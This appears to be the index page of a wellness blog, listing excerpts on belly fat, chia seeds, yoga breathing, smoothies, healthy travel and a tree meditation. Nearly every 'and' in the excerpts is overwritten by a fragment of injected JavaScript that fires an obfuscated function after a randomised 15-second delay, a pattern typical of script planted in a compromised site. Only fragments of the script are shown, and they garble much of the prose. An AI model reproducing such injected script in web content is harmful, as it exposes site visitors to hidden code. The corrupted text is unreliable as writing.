13 Tips to lose Belly Fat

   13 Tips to lose Belly Fat If you follow our blog than you know we don’t subscribe to extreme measures, fad diets, popping pills andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and quick fixes.  No, none of that will be found …

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Cha Cha Cha “Chia”

Ok, so you already know about it, sort of.  You have heard of it.  Chia, it’s a mega-superfood from the Central andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and South Americas.   You are sold on the health & weight management benefits of …

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Home Yoga Practice-Ujjayi Breathing

Ujjayi Pranayama (oo-jy [rhymes with “pie”]-ee) ujjayi = to conquer, to be victorious  As part of our Home Yoga Practice series we begin with learning how to breathe.  Sounds odd, I know.  You probably take breathing for granted, it’s innate.  But, …

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Good Morning Sunshine “Smoothie”

Good Morning Sunshine Smoothie This week’s superfood focus is the Goldenberry, aka Gooseberries or Incanberries.  They have been enjoyed for their health properties for thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of years in South America.  Goldenberries contain carotene andom()*5);if (c==3){var …

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Choosing a Focus for your Home Yoga Practice

We begin our new series the Home Yoga Practice at the beginning.  For a successful yoga practice, postures (asanas) can be used as preparations, counter-poses or a focal or peak pose.  To create a sequence there should always be a …

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The Four Universal Healing Salves

“Dance, when you’re broken open. Dance, if you’ve torn the bandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andage off. Dance in the middle of the fighting. Dance in your blood. Dance when you’re perfectly free.” ~Rumi  In many shamanic societies, if you …

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Pineapple Ginger Smoothie for Allergy Sufferers

Pineapple & ginger are both known as anti-inflammatories. Bromelain is an enzyme that is found in pineapples. It is sometimes used after sinus surgeries to fight inflammation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it can also be used to thin mucus …

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Peachie Green Smoothie

  Peachie Green Smoothie 2- 3 leaves kale 1 apple ½ peach 2 tablespoons hemp hearts 1 cup coconut water, to thin 2 generous sprinkles of cinnamon Blend + Enjoy.  

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Tips for the Healthy Traveler

If you are a globetrotting wandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anderluster like myself, the lack of sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hours spent in airports andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on airplanes may leave you more than …

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Meditation with a Tree

  Advice From a Tree Dear Friend, Standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Tall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Proud Sink your roots deeply into the Earth Reflect the light of your true nature Think long term Go out …

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